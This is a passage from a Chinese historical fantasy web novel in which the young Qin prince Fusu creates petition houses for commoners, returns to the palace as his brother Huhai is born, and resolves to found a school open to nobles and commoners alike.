扶苏问清楚之后，就立马找人去帮老婆婆找牛，他自己也带着王离跟着一起去帮忙。最后是在离老婆婆家不远的后山上找到的。
找到那头老黄牛的时候，它躺在地上奄奄一息。
它很老了。庞大的身躯瘦得只剩骨架。在被跟上来的老婆婆抱住的一瞬间，它浑浊的双眼留下眼泪。
它不愿相伴一辈子的主人因为它的离去而伤心流泪。所以它选择了离开。
可是......
悲怆的一声呻吟过后，它永远地离开了这个世界。
楚荍没想扶苏要说的会是这样一个故事。不知何时，眼泪已经顺着她的眼角滑落。她吸了吸鼻子，用袖子擦掉眼泪，平复了下情绪后才忧心地问道：“老婆婆没事吧，这事对她的打击肯定很大。”
“很不好。”扶苏叹了口气，“婆婆当场就哭晕了过去。我们立马请了大夫，大夫看后喂了药婆婆就醒了过来，但还是一直在哭。后来我们把她哄睡着了才离开。”
“大夫开了不少药，但大夫和我们说婆婆已经是强弩之末，时日不多了。”
“公子，没事吧？”楚荍握住扶苏的手担忧地问，她看到了扶苏泛红的眼圈。这还是扶苏第一次直面这种生死问题。他毕竟还是个小孩子。
“没事。”扶苏强撑着笑摇头，“姑姑，我吃饱了，想先去休息一下。”
“嗯，去吧。你们跑了这么久肯定也累了。好好睡一觉，别多想。”楚荍轻声哄道。
只见扶苏点点头，便和众人告别，回了自己房间。
回房后，虽然身体很累，但他却翻来覆去睡不着。
老婆婆丢掉手杖跪伏在地上抱住老黄牛的那一瞬间反复在他脑海里闪现。他很难过，但又不知道怎么说......
许久，扶苏才因为身体上的狼狈缓缓睡着。醒过来的时候，已经是深夜。
但他却完全没有平日里自然睡醒的清爽感，反而有些头疼。
为什么呢，明明是与他无关的事情，他却感到这么难过。扶苏想不通。
他从床上坐起，窸窣的声音吵醒了睡在他床槛上的赵新。
“公子，您是要喝水吗？”赵新揉着眼睛迷迷糊糊地问。
扶苏起身，自己开始穿衣裳，“你睡吧，我出去走走。”
“那怎么行，我陪您一起。夜深了外面冷，我给您拿件厚衣裳。”
等到两人穿戴好后，赵新点起灯笼，两人这才出门。
这灯笼也是纸造出来之后楚荍搞的新玩意儿。
外面的夜很寂静，偶尔传来几声鸡鸣。他二人的脚步声清晰可闻。
月亮很大，也很亮。只是这银色的月亮看起来就冷。
扶苏伸手裹紧自己的衣裳，扭头对赵新说：“跟我说说你来格物府之前的生活吧，你以前在村里的生活是什么样的？”
“公子怎么突然想听我的故事了，”赵新咧嘴笑笑，“我之前在村里的生活无聊得很，不好听公子可别怪罪。”
闻言，扶苏也笑了起来，静静听着赵新絮絮叨叨讲着他的生活、他的故事。
他们在这府里随意地逛着，赵新看出来扶苏心情不好，故意说些他有意思的糗事逗他开心。
扶苏也看出来赵新是故意想逗他开心，他勾起嘴角微微一笑，向他道谢，“多谢。这么晚还要出来陪我乱逛。”
“公子这是什么话，这些本来就是我应该做的。是你和荍姐姐给了我新生活，我应该向你们道谢才是。”赵新摇摇头十分认真的解释。
扶苏知道他的真心的，笑了笑便没在继续这个话题。而是话题一转，问了另一个尖锐的问题。
“你觉得官府可怕吗？”
“可怕是指什么？”赵新疑惑地反问，他没懂扶苏的意思。
“就是说，如果现在是你家牛丢了，你敢跑进官府里找衙役差吏帮忙吗？”扶苏仔细解释道。
闻言，赵新认真想了想才说：“如果是我的话，危急关头应该是会的。但我应该会先找村里的人帮忙。”
“那你身边的人呢？你觉得他们对官府是什么态度？”
“嗯……”赵新思忖半天，最后摇了摇头，“我也不知道，我就小就没什么朋友。”
扶苏问了很多问题，两人边走边聊。却不曾想惊动了晚上也还没睡的张良。
张良身上披着外衣，桌上点着油灯。他还在伏案工作。
虽然所谓的工作只是指写一封真的家书回去。
楚荍告诉他，当初绑他的时候给他家里留了封假的家书。
那封假的家书是模仿他的笔迹的写的。不知道他爹认出来没有，如果认出来了，如今又追查到什么地步了。
既然他已经决定留下来，那还是得给家里写封信报个平安。
只是这信要怎么写，张良却犯了难。
就是在这个时候，他听到了扶苏和赵新两人从门外路过的交谈。
“公子，留步。”
张良推开门，喊住两人，邀请两人进屋一坐。“夜深露重，公子不如到我屋子坐坐，歇歇脚，也暖和暖和。”
闻言，扶苏没有拒绝。张良披着外衣，举着油灯站在门口的样子，实在让人不忍拒绝。
赵新默默吞了吞口水，他之前以为他家公子已经够好看了，没想到这又来了一个跟他家公子一样好看的天仙。
张良把人迎进门后，给两人一人倒了杯水后就状若无意地问：“公子怎么这么晚还没睡，可是因为今日之事？”
扶苏苦笑一声，“嗯，心里有些难受，睡不着。”
“张兄呢，怎么也没睡？”扶苏接着问。
“我在写给家里的家书。”
张良也没瞒着，直接就跟扶苏说了。就算现在不说，明日他把家书给楚荍时其他人也会知道。
闻言，扶苏就知道张良是决定留下来了。“那太好了，张兄愿意留下来。姑姑知道了肯定会很高兴。”
几句闲谈之后，张良就直接插入正题。他听到了扶苏刚刚在门外的提议。
“公子刚
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刚说官府如果能有一个专门招待百姓的地方就好了是什么意思？”他问。如果不是听到这样有意思的想法，张良不会叫住扶苏。
这么一说，扶苏也知道张良是听到了自己刚刚说的话。不过他现在确实需要找个人商量。
“大部分百姓对官府皆有畏惧之心，甚至遇到困难了也不敢向官府求助。便是今日想求助的婆婆，虽说是没找对官署，但在高门外也不敢进去。”
“所以我想，既然百姓不敢进去。那为什么不能在官署外再建座小房子，派人值守，就用来听取百姓们的需求。”
“令人生畏而止步不前的官府，真的好吗？有国有家，家应该是让人感到温暖的地方。”
扶苏慢慢述说着自己的想法，表情认真严肃。今日之事对他触动很大，从下午到晚上，他想了很多。
听扶苏说完，张良在心里瞬间对其肃然起敬。他不敢想这番话是出自七岁小儿之口，更是唾弃下午还在怀疑扶苏品格的自己。
而且听扶苏讲完，他心中也突然了很多想法。他开始兴奋起来，他很久没有这种感觉了。棋逢对手、旗鼓相当，心有灵犀。
就这个问题，两人开始激烈地讨论起来，发散着各自的思维。
直至天光大亮，两人才在讨论一晚上的想法终于落下最后一笔。赵新倒是早早就在张良的床上睡着了。
扶苏激动地拿着两人讨论方案的最终版，“张兄，我们一起去把拿给姑姑看吧。”
“哈——”张良打了个大大的哈欠，“你自己去吧，我要睡觉了。”
说着，便走到床边，把赵新叫醒，让他从床上起来，然后自己睡了进去。
扶苏看着背对着他已经睡着的张良，无奈地微微一笑，知道他是不想让自己为难。他毕竟刚刚被绑回来，他还没在这个地方得到足够的信任。
见状，扶苏带着还一脸懵没睡醒的赵新悄悄退了出去，然后自己去找了楚荍。
楚荍刚起，正在穿衣。听到敲门声，赶紧把衣裳穿好后就过去开门。
“公子，怎么这么早？”楚荍惊讶地看着扶苏，这一大早的，扶苏怎么这会儿来找她？
“姑姑，我和张兄有个新想法，这是我们最终讨论的方案，你看看！”扶苏急切地把一沓写满地纸塞到楚荍手上，一脸期待地看着她。
楚荍拿着纸，侧身让扶苏进来。看完之后，她有些不可置信地看着扶苏，问道：“这是你和子房一晚上讨论的结果？”
“嗯，姑姑认为如何？可行吗？”扶苏被楚荍的反应搞的摸不着头脑，有些忐忑地问道。
“好，太好了！简直就是天才的想法！”楚荍激动地抱住扶苏亲了一口，“公子你快回房梳洗一下，待会儿吃饭早饭我们就进宫去见大王。”
说完，楚荍就催着扶苏回房洗漱。
半个时辰后，一切收拾完毕，两人就坐上进宫的马车。
到宫里时，早朝和每日的大臣议事已经结束。宫人通传之后，两人才见到有几天没见的嬴政。
“你们怎么这会儿进宫了？”嬴政问道。他自然知道扶苏昨天帮老太太找牛的故事，也知道昨天扶苏早早就睡了。扶苏每日的一举一动都有人向他汇报。
只不过他不是每天都有时间听。
“大王，您先看看这个。这可是昨晚公子一晚的心血。”楚荍递上扶苏给她的那一叠文稿。
片刻，嬴政才表情复杂地抬起头问：“这是你自己写的？”
“肯定是啊，大王您还不相信公子吗。这可是公子努力一晚的心血。”楚荍兴奋地接话道。
嬴政看了一眼楚荍，没说话，他在等扶苏的回答。如果真的是扶苏写的，那他这大半年在宫外的历练，等到的进步或许比他想象中的还要大、
这份“关于官署外市民之庭的设立建议”方案，内容清晰明了，有理有据，是篇很漂亮的文章。
但明显这份文稿里，还有另一个人的风格。
“父王，这份建议方案是张兄和我一起做的。我们做了一个晚上。”
扶苏看着嬴政的眼睛说道，他并不觉得这是需要撒谎的一部分。姑姑有时候对这些事情太敏感了。
“张兄？是你绑来的那个韩国宰相之子，张良？”嬴政回忆了一下，转过头对楚荍说、
楚荍闻言点点头，“正是此人。他已经答应留下来了。”
67.第六十七章 初雪
“留下来？他倒是答应的还挺快。”
嬴政微微一笑，话语里意味不明。他刚刚看完这份“市民之庭”方案书，确实写的不错，可行性也很高。
“既然要做，那我给你两个月的时间。具体可行的方案、与各官署的联络，修建的钱从哪来，怎么花，这些你自己要想好。”
“入冬后，你就回宫。”嬴政转向楚荍，说道，“还有你，不许帮忙。”
楚荍突然被点名，愣在一边也不敢说话。当初政哥就不同意扶苏出宫，现在更是顺势把此事当成了考验。
“是。孩儿答应父王，两个月之内一定把此事做好。”扶苏点头应下嬴政的要求。他知道这是父王对自己的考验，他会把此事做好。
他会向父王证明，他当初选择出宫这件事并没有做错。这大半年的时间，他学了很多。
从宫里出来之后，扶苏就把自己关在了房里，一整天都在修改这份方案。
晚上，楚荍拎着食盒去给扶苏送饭的时候，特意把张良喊去了。政哥说不许她帮忙，又没说不许张良帮忙。再说，这份方案最初本来就是两个人一起商讨的，现在一起做这个项目也正常不是。
扶苏见他们来了，知道楚荍的意思。他没有拒绝。
这件事不是他的所谓意气之争，他的本意就是想为百姓做点什么，他不会拿这件事看玩笑。他需要和张良一起商讨出一个完美的方案。
三人一起吃完晚饭后，张良留了下来。
第二日一早，扶苏就出门了。他今天要去搞清楚市场上建筑建造的成本。
长达半个月的时间，扶苏都是这样早出晚归，为方案落地做准备。关于此事的很多想法扶苏都会和张良讨论，但是所有实操的事情都是扶苏自己亲自在做。每日堪堪能睡到两三个时辰。
这会儿秋收结束，正是人手充足的时候。所有的准备做好之后，“市民之庭”的建造就火速建了起来。充分展示了什么叫做“大秦速度”。
再者，市民之庭就是在各个官府门外建造的小房子，工程量本身就不大。而且扶苏的身份，在这种时候也是格外好用。
谁敢怠慢长公子交代的事，脑袋还想不想要了？
包括“市民之庭”的宣传，扶苏也是把楚荍的宣传手段给学了个十成十。
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落成那日，市民之庭外要咨询的人都排起了长队。
扶苏看到这样的场面却并不觉得高兴，反而皱起了眉头。
排起长队说明百姓不是没有需求，而是在此之前没有人看到他们的需求。
楚荍、张良等人听到这话的时反应各异，却都震惊于扶苏看事的透彻。多少人根本看不到这层，特别是从小锦衣玉食公子公主。
许多锦绣堆出来的公子，能看到百姓的苦难便已是难得，更别说理解百姓的苦难，扶苏不仅能看到，能理解，更愿意为改变这一境况而努力。
张良叹了口气抬头望天，冬天的天气阴沉，天也灰蒙蒙的，就跟他的心一样。
若扶苏生于韩国，何愁韩国不兴。他终于生出当初韩非见到扶苏时的感叹。
楚荍则是一脸骄傲地看着扶苏，她就说吧，她家公子是“先天帝王圣体”。
突然，天空飘起小雪。
今年冬天的第一场雪，来了。
嬴政站在窗边，静静地赏着雪。今年的雪好像往年的要早。
看来，老天都在催扶苏赶紧回到他的身边。
68.第六十八章 回宫
扶苏回宫的那天，整个格物府的人都来送。
楚荍看着一个个愁眉苦脸的，一副不舍要哭的样子，睁大眼睛奇怪地说：“怎么一个个都哭了，又是再也见不着了。”
她又笑着说：“明年公子还要再来呢。”
闻言，众人都愣怔了一下。只有扶苏无奈地喊了一声自家姑姑。肯定是自家姑姑坏心眼故意没和大家说。
这下大家都反应过来，一个个都破涕而笑，他们还以为公子今天回宫就再也不来了。倒是没人再去想是从谁那里听来的公子回去就不会再来的消息。
说话之间，天上又飘起了小雪。雪花晃呀晃地飘悠而下，落在每一个人的身上。很快，大家的头发都染了白。这些洁白细绒的雪花，诉说着众人无言的不舍。
但是，吱呀吱呀的车轮声响起，马车逐渐远去，只留下蜿蜒的车辙。
扶苏回到宫里时已近晚上，结果一回宫就收获了一群迫不及待扑上来的小萝卜头。
大半年过去，小萝卜们都长大了不少。特意是将闾和阴嫚，都长高不少。倒是和阴嫚一母同胞的荣禄，比阴嫚矮了小半个头。
扶苏刚踏进宫门，小萝卜们喊大兄的声音就此起彼伏。扶苏一个个抱过去，每个都逗两句，抱到最后一个都要抱累了，脸也笑得有些酸。
另一边，嬴政正在伏案工作。一旁的宫人上前禀报：“大王，长公子回宫了。”
嬴政闻言点点头示意自己知道了。
等到他从政务中抬头的时候，才想起来此事，便问：“扶苏不是回宫了？”
“禀大王，长公子约莫一个时辰前就回来了。”宫人答道。
见状，嬴政皱了皱眉。这臭小子，回来这么久也不知道先跟他老子请安。
“父王！”
扶苏和小萝卜头们纷纷起身行礼。
这下嬴政知道为什么扶苏第一时间没来和他请安了，原来是被这些小萝卜头绊住了。
“吃饭了没有？”嬴政问。
“还没。”扶苏有些心虚地摇摇头，看到嬴政他才想起来应该要去给自家父王这件事。
嬴政在扶苏原来的位置上坐下，“还没吃那就摆饭吧。”
他一来，原本还在说说笑笑的轻松氛围一下就凝固了。他这么多孩子，也就扶苏不怕他。再就是阴嫚，其他一个个都跟老鼠见到猫一样。
不过也好，他可没有哄孩子的心思。再说，要是几岁小儿都不惧怕他，那这个大王也别当了。
用完饭后，这些小萝卜头一个个立马告退。
殿内迅速就只剩扶苏和嬴政两人。
“走吧，出去走走消消食。”说完，嬴政便起身往外走。
扶苏愣了一下，接过夏时递过来的斗篷，匆匆披上之后就跟了上去。
直觉告诉他，父王好像生气了。是因为他没及时去请安吗？
这次回宫，夏时也跟着回宫。不过赵新扶苏没带回来，他不缺这一个支使的人，便
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让他接着在府里的学堂读书。
宫人点着纸灯笼走在前面，扶苏跟上去后犹豫一下还是牵住了嬴政的手，轻轻喊了一声父王。
原本对扶苏出宫这些事还有气的嬴政，被扶苏这主动一牵，一下什么气都消了。嘴角也不知觉勾了起来。
寒风冷冽，地上铺着一层刚下的薄雪。
“手怎么这么冷？”嬴政突然问。他都握着有一会儿了，扶苏的手还没热起来。
“嗯，姑姑说我们这种一年四季都手脚冰凉的人是身体顶端血液循环不良。”
嬴政听着这拗口的话皱了皱眉，估计又是楚荍自己造的词。
“于身子有碍吗？”他问。
“没事的，姑姑说好多人都这样的。”扶苏很开心地笑着说。
片刻后，又听嬴政说：“这次做的不错。”
“谢父王夸赞，孩儿还有很多做的不好的地方。”扶苏谦虚两句。
嬴政看着笑眯眯的小孩，毫不犹豫地泼他冷水，“如果你没有这个身份，可不会这么顺畅就把整件事做好。”
闻言扶苏表情也严肃起来，认真地点头：“我知道的，父王。”
这次他亲自去做一件事，才知道操作起来有多复杂。
“今年你在外面学到不少，往后你要多跟……”
就在嬴政还准备说些什么的时候，突然有宫人一脸喜色地慌慌张张跑过来。
“大王，胡姬生了！恭喜大王喜得麟儿！”
69.第六十九章 胡亥
哇哇——撕心裂肺的哭声从满是血腥味的房中传来。
扶苏落在嬴政身后，看着宫人把被包好的新生儿抱到他跟前。
原本还在大哭的婴孩被嬴政接过之后，神奇般地就安静下来。
他听见父王说，胡亥，就叫胡亥吧。
“小胡亥，以后你就是我弟弟了。”
扶苏走上前，温柔地笑着，伸出一根手指在空中打圈，想逗逗自己这个新弟弟。
不成想，原本安静下来的胡亥又突然哭闹起来。
扶苏被吓得收回手，手足无措地站在原地。他以为是自己做了什么把胡亥惹哭了。
嬴政见胡亥又哭了起来，之前舒缓的眉头又皱起来，他对扶苏说：“好了，人你也见到了。时候不早了，你早些回去休息吧。”
“是。”
扶苏应下，行礼后快步向外走去。
嬴政瞥向扶苏离开的背影，他好像很急切，他想着。但转眼他的注意力就被胡亥吸引过去。
殿外，扶苏快步走下台阶，他快速用手掏出一直戴在身上的古玉，嘴里还发出嘶嘶声，好似被手里这块玉烫到一样。这还是扶苏头一次失了仪态。
但很快，他手里这块玉的温度就降了下来。等到古玉又变成原来的温度之后，扶苏便又重新把它塞回衣裳深处。
他刚刚确实被这块玉烫到了。从父王叫出胡亥的名字之后，他胸前的玉就好像一直在升温。并且以惊人的速度变得让人无法忍受。
扶苏站在原地，神情疑惑。从他带上这块玉后，好像还没有出现过这种状况。莫名其妙升温，好像要将他焚烧。
而且，不知为何，伴着炙热的，还有一丝悲伤。
这丝悲伤从他的心底裂缝中溢出，让他的心变得很不舒服。
可他为什么悲伤呢？明明没有任何事情需要他悲伤。
扶苏想不明白，他站在原地，肆虐的冷风唤醒他的沉思。他裹紧斗篷，这件斗篷是姑姑送给他的，很温暖厚实。
随即，他在寒夜中独自一人回了自己宫中。
大雪很快落下，在黑暗中扫去他离开的痕迹。
翌日清早，扶苏从噩梦中惊醒。
夏时及时递上热水，“公子，没事吧？”昨晚扶苏回来的时候脸色就不太好，他有些担心。
扶苏痛苦地扶额，接过热水猛灌了一口，人这才有些回神。
他摇摇头，虚弱地朝夏时笑了笑，示意自己没事。虽然他的后背已经被冷汗浸湿。
砰的一声，扶苏躺回床上。眼睛直直地望着顶上的帷幔，被子随意地搭在身上。
他又不记得了，刚刚的噩梦的内容。
不知为何，他有些不安。
“公子。”夏时担忧地又唤了扶苏一声，上前为他把被子盖好。
扶苏看了一眼窗外，天还黑着，他还可以再睡一会儿。
“把灯熄了吧，我再睡一会儿。”
昨晚的雪很大，宫墙上盖了层白被。扶苏再起来的时候，主路上的
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雪已经被宫人清扫干净。
好像突然就冷了下来，扶苏抱着暖炉想着。
“大兄，你怎么来了？”将闾看着进来的扶苏惊讶地问道。
“长公子？”学堂的老师也惊讶地向他行礼。
扶苏从来没来过这里。
他从小就有自己的老师，自然不会来宫里给小公子小公主开设的学堂。
昨晚和那些小萝卜头闲话时，扶苏顺口考究几句他们的学业，结果一个个都支支吾吾地不敢说话。
所以他今天才特意调整了一下自己的行程，亲自来看看自己这些弟弟妹妹书读得怎么样。
“先生折煞我了，”扶苏扶起学堂老师，“我今日来看看，先生不必在意我。”
说完，扶苏便坐到了最后面的空位。
房间里的火盆烧的很旺，很暖和。上课不久，原本一个个因为他来而有些紧张的小萝卜头很快就开始点头。
扶苏坐在后面，越坐脸越黑。
他从没想过在条件的情况下能有人把书读成这样。就算是在格物府的启蒙学堂，甚至上明在换了老师之后都十分努力。
扶苏黑着脸起身，推开关上的窗户。瞬间，冷风便灌了进来，所有人都被冻个激灵，包括刚刚在打瞌睡的。
“谁啊，想冻死本公子吗？”荣禄突然被冻醒，刚睡醒的脑子不清醒，在自己位置上大声喊道。
“是我。”扶苏冷声应道。
是的，扶苏现在的脸黑得跟锅底没区别。
70.第七十章 上学
扶苏站在窗边，表情严肃，眼神冷峻。寒风呼呼往里面吹，所有人都安静下来。
将闾悄悄拉了拉荣禄的衣裳，他这才回过神，急忙解释道：“大兄，我不是.....”
“好了，”扶苏打断他的话，他走回自己的位置上坐下，“先生，您继续讲吧。”
荣禄还想再辩解两句，但将闾看了眼扶苏的脸色，就赶紧拉着他坐下。这小子再多说两句，大兄真要炸了。
学堂老师愣了一下，咳嗽一声，看着底下一个个跟乖兔子一样坐好的公子公主，心想终于能有人能治治这些平日里调皮捣蛋、无法无天的小兔崽子了。
上午，老师的课讲完之后，这些小萝卜头们终于松了口气，以为要下课了。
结果扶苏站起来，拿起刚刚自己上课写好的卷子，分给每个人。
顿时，学堂里响起一片哀嚎。
见状，扶苏嘴角才终于噙了丝笑，“一炷香的时间，写完后我批改。”
就算他们再怎么不愿意，扶苏的话他们也不敢违背。
扶苏只出了几道简单的填空题，这些小萝卜们毕竟还小。
不说学的怎么样，他是对他们学习的态度非常不满。
结果，一柱香过去，扶苏每改完一张卷子，他身边的气压就更低一点。他确实没想到，这里好多人连简单的字都写不清楚。比府里启蒙学堂的学生还不如。
他叫学堂的老师先走了，免得待会儿场面太过难看。
家丑不可外扬，呵。
改到最后，扶苏都简直要被他们气笑了。见过差的，没见这么差的。
他扫了一眼三三两两围在他身边的小罗卜头，强忍怒气，将改完的卷子分给每个人，然后给他们细细讲解了答案。
讲完的一瞬间，扶苏头一次觉得自己脾气竟然这么好。
之前别人夸他脾气好，他都不觉得来着。
回到宫中后，扶苏便立马让夏时给楚荍去信，让自家姑姑来趟宫中。
他这些弟弟妹妹的教育问题迫在眉睫，他需要找个人商量一下。
中午，将闾和阴嫚带着荣禄来跟扶苏道歉。
扶苏本来气消了不少，结果一看到这几个臭小子，火一下又起
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来了。
“说吧，平常你们是怎么上课的？”扶苏斜了几人一眼，“我要听真话。”
三人对了对眼神，知道这会儿扶苏正在气头上，要是说假话被发现了，下场肯定更惨。
他们大兄虽然平常好说话，但这种触及底线的事，不是随便可以糊弄过去的。
等到将闾把他们平时上课干的事一五一十都交代清楚之后，扶苏长叹口气，眼里满是对他们的失望。
将闾和阴嫚是他最喜欢的弟弟妹妹。
“我知道你们喜爱练武，将闾，去年大兄陪你练过一场，输了。不如我们今天再比一场？”
“再比一场？”将闾从羞愧中抬头，有些疑惑地问道。不明白扶苏是此举是何意。
“嗯，再比一场，阴嫚也是。”扶苏望向一旁的阴嫚，目光坚定。
宫人取来两把小木剑，两人皆脱去厚重的外袍，找个空地就开始比试起来。
将闾握着木剑，在心里给自己打气，去年他赢了大兄，今年他也不会输！
他抬手，一个标准的刺的抬手式向扶苏冲了过去。
71.第七十一章 比试
冷冽的寒风吹过，扶苏两鬓的发梢被吹散。
他站原地，提起剑，冷静地盯着刺向他的将闾。一呼一吸之间，他的气势骤变，在木剑落下来的一瞬间，一个干净利落的抬手上挑便挡住将闾的攻势。
攻防转换，扶苏截住将闾的攻势，一招打蛇随棍上，木剑缠绕而上，企图挑飞将闾的木剑。只见将闾一个后撤步，将木剑下压，用力横扫，抽身而出。随后又是一个箭步，再次刺身向前。
几个回合下来，扶苏每次都能轻松化解将闾的攻势，然后缠上对方的木剑，压迫对方的身位。
最后，扶苏找准时机，趁将闾的弱点暴露之际，咻！一剑破空，直抵咽喉。
啪嗒，将闾的木剑在空中画出一道弧线后摔到地上。一滴冷汗从他额间滑落，一瞬间，将闾以为抵在自己喉咙上的是真剑，而不只是一柄毫无危险的木剑。
“大兄。”将闾下意识喊了一声，喉咙发紧，他不敢看扶苏的眼睛。
他输了。输得彻底。
扶苏收起剑，一个翻身，用脚挑起躺在地上的木剑，用手接住后扔给赢阴嫚。
赢阴嫚下意识接住剑，原来还在因为将闾输的如此之快而愣怔的眼神瞬间变得清明。
她用力握住木剑，摆好抬手式。
她不会输，绝不会输。
啊——赢阴嫚大喊着冲过去！
五个回合之后，扶苏一个快准狠的横档突刺，再次打掉赢阴嫚手中的木剑。
呼！呼！赢阴嫚喘着粗气，不可置信地盯着脱手的木剑，刚刚那一下，她手都被震麻了。
“你们输了。”扶苏收回剑，另一只抚了抚衣裳上的褶皱，他表情冷淡，毫不留情地说，“看来，在你们喜爱的事情上，你们也并不擅长。”
将闾和赢阴嫚震惊地看着扶苏，双手握紧，指甲掐进肉里。生平第一次，两人感到了侮辱，还是从他们最爱的大兄那里。
他们简直不敢相信，眼前这个冷酷，把他们自尊心碾碎踩在脚下的人是平日里最爱他们的大兄。
唉，扶苏叹口气，身上的冰冷之气卸掉，将闾和阴嫚是他最喜欢的弟弟妹妹，所以他才会这么做。
他要和他们比这一场。不是为了羞辱他们，仅仅是想让他们明白：
无论是习武还是读书，皆犹如逆水行舟，不进则退。
作为大秦的公子公主，不能一边吃着百姓的供奉，一边不以为然，觉得理所应当。
若是这样，那和六国那些趴在百姓身上吸血的蠹虫有何区别？
看着马上要哭出来的弟弟妹妹，他终究还是心软了，正准备开口安慰他们时，却被宫人打断。
“公子，大王传召。”
“我知道了，我换身衣裳就过去。”
宫人接过扶苏手中木剑，他走到两人面前，一手摸着一个脑袋，他又变回了平日里最爱他们的大兄。
“别哭。”他轻声哄道。
随着宫人把饭食摆好，嬴政在椅子上坐下，问向走进来的扶苏，“中午吃了没有？”
“还没。”扶苏摇摇头，将解下来的斗篷递给一旁的宫人。
“那正好，过来一起吃吧。”嬴政抬手招呼扶苏坐下。
扶苏笑着应声，在对面坐下。
父王看起来心情很好的样子，扶苏心想。不过昨日父王才又得一子，他也又多了个弟弟，确实是值得高兴的事情。
扶苏强压下心底那一丝莫名的不适，扬起笑容，不想扫自家父王的兴致。
他还是很开心的，从他出宫之后，便甚少和父王一起吃饭了。
用完饭后，两人又来盘象棋消消食，嬴政这才说起他叫扶苏来的目的。
“父王这是何意？”扶苏看着递到他面前的奏章惊讶地问。
“还记得你求我允你出宫时说的话吗？”嬴政笑笑，放下手下奏章，问道。
他当然记得，他做的一切都是为了这个，不是吗。
“孩儿当时说，想为父王分担。”扶苏缓声说道。他已经猜出父王的用意，但还有些不敢相信。
“今天下午你就在这替我分奏章，把轻重缓急都分出来。”
扶苏拿起刚刚嬴政
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放到他面前的奏章，点了点头。他自然知道这个工作的重要性。
这事之前有专门的宫人在做，但今天嬴政把这个任务交给扶苏。其中的重要性不然而喻。
原来昨晚父王没说完的是他虽在宫外学到不少，但今后要多跟他身边学习。
扶苏拿着奏章没忍住笑了起来，原本心中那一丝莫名的不安瞬间消失不见。
看来他这一年在宫外的学习，父王还是认可的。
嬴政看着扶苏傻笑的样子，顿时觉得自己还是有些太宠溺这傻小子了。
他抬手揪了揪扶苏脸颊的肉，这小子，出去一年瘦这么多，脸倒还是肉肉的。
不知何时，嬴政嘴角的笑也挂了起来。
楚荍收到扶苏的信，立马就往宫里赶去。说实话，她对其他公子公主还真没什么印象。
也就一个将闾一个赢阴嫚。这两人一个是吃货，一个大大咧咧，不过两人都尚武来着，楚荍记得。
等到楚荍到了宫里，已经快晚上了。这传消息一来一回耽误了不少时间。
结果她到扶苏宫里还跑了个空，等她再到主殿的时候，两人晚饭都吃上了。
“你怎么这么晚来了？”嬴政看着行礼的楚荍挑了挑眉，问道。
“啊，这不是公子回来了，我想公子了就回来看看。”楚荍低着头胡扯，她自然是不能把她来的真正目的说出来。
她总不能说除了扶苏政哥你那些公子都一个个又蠢又懒吧。
当然，这也是夸张的说法。
“姑姑，你是不是还没吃？”扶苏朝楚荍眨眼。
“没呢。”楚荍上道地摇摇头，她确实还没吃。
闻言，扶苏放软语气，转头问道：“父王，让姑姑和我们一起吃吧。”
嬴政眼神在两人身上转了转，知道这两人肯定有什么幺蛾子瞒着自己。不过他倒是不在乎这些，反正最后他都会知道的。
“坐吧。”
“谢大王！”
楚荍解下身上的斗篷，兴高采烈地坐了下来。她也有好久没吃宫里的菜了。
72.第七十二章 好消息
扶苏和楚荍从嬴政宫里出来后，都被寒夜冻了个激灵。
“一个好消息一个坏消息，姑姑想听那一个。”扶苏捧着暖炉笑着问，他现在心情很好。
他们和父王一起吃完饭后，还一起打了几把牌消遣。这牌也是楚荍之前弄出来的新东西。
“那就好消息吧。先聊点高兴的事吧。”楚荍也笑着说。她在府里收到急信，还以为出什么事了，火急火燎就赶了过来。结果看扶苏和政哥那父慈子孝的样子，就知道应该也不是什么大事，心瞬间就放了下来。
只不过她刚放下的心立马就被扶苏的下一句给吊了起来，甚至被吓到猝倒。
“嗯，好消息就是昨晚我又有了个新弟弟，父王给他取名叫胡亥。”
前一秒还在波澜无惊的“哦，政哥又多了个儿子”，下一秒就因为踩到光滑的石子在湿漉漉的雪地上滑了一跤。
扶苏刚刚说什么，谁出生了？胡亥吗？胡亥出生了吗！
真的吗，真的是那个胡亥出生了吗！
楚荍以一种极不雅观的摔到在地上的时候，脑子也被摔晕，她不敢相信自己刚刚听到了谁的名字。
她被手忙脚乱的宫人扶起，扶苏在一旁焦急的询问她有没有事，摔到哪里了。
“我没事，”她摇摇头，顾及到一旁的宫人，她把自己一肚子的疑问压下，强勾笑容，把自己脚边的石子踹开，“被小石子绊倒了。”
黑夜里，小石子咕噜咕噜滚到一边的草丛里消失不见。一如楚荍未说出口的话语。
回到扶苏宫中之后，屏退众人，她才犹犹豫豫地问出那句，“公子的玉，最近可有异常？”
听到胡亥出生的消息，她第一时间去问了系统，但系统和平常一样稳定，没有异动。说明扶苏在身体上是没有什么问题的。
如果系统察觉不到，那那块玉呢？当初治好扶苏病的那块古玉。
“异常？”扶苏有些疑惑地反问一句，他伸手把玉从衣裳中掏出来，“昨晚父王给胡亥起名之后，这玉突然变得很烫，但很快就又好了。”
他看着自己手中的玉，细细端详，将昨晚的事告诉楚荍。他心里也觉得很奇怪既然楚荍问起就也没有瞒着。比起自己，姑姑可能比他更了解这块玉。
毕竟当初巫祝救治自己的时候，他还在昏迷当中。
闻言，楚荍的心一揪。当初扶苏被这玉治好她知道，这世界不仅有科学，更有玄学。
不然你看，这胡亥一出生，“它”就迫不及待地想提醒扶苏，远离胡亥。
“公子可还记得巫祝交代
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了什么？”楚荍紧张地问。
扶苏看着十分紧张的楚荍，歪歪头，有些疑惑，他很少在自家姑姑脸上看到这样的神色。通常，他家姑姑一直是那个自信生辉的人。
“切记，此玉绝不可摘下。”扶苏缓缓说出那句话。
楚荍握住扶苏捧着玉的手，点点头，表情谨慎严肃，“无论发生什么，公子都不要把此玉摘下 ”
交代完后，见气氛有些紧张，楚荍立马换了副轻松的口吻，“好消息说完了，坏消息呢？”
“坏消息就是，我这群弟弟妹妹很有潜力成为趴在王朝身上吸血的蠹虫。”扶苏笑笑，无奈地说。他也不想这样评价自己的弟弟妹妹，但很可惜，现状如此。
“那公子准备怎么办？”楚荍问。扶苏既然这么着急的把她叫过来，肯定心里已经有了想法。
只见扶苏皱了皱眉，说道：
“他们在待在宫里太过安逸了，所以我想建座学堂，所有人都可以来读书的学堂。无论是平民百姓，还是王公贵族。大家都在一起读书，才能了解互相的处境。有竞争，才有进步，而不至于让我这些弟弟妹妹成为蠹虫。”
听完，楚荍就搞清楚扶苏想干什么了。
不愧是他家公子，这就能想到要搞义务教育，办学校。
73.第七十三章 窒息
唱吧，唱吧，在柳条摇晃的微风中；
舞吧，舞吧，在月光轻拂的纱裙下；
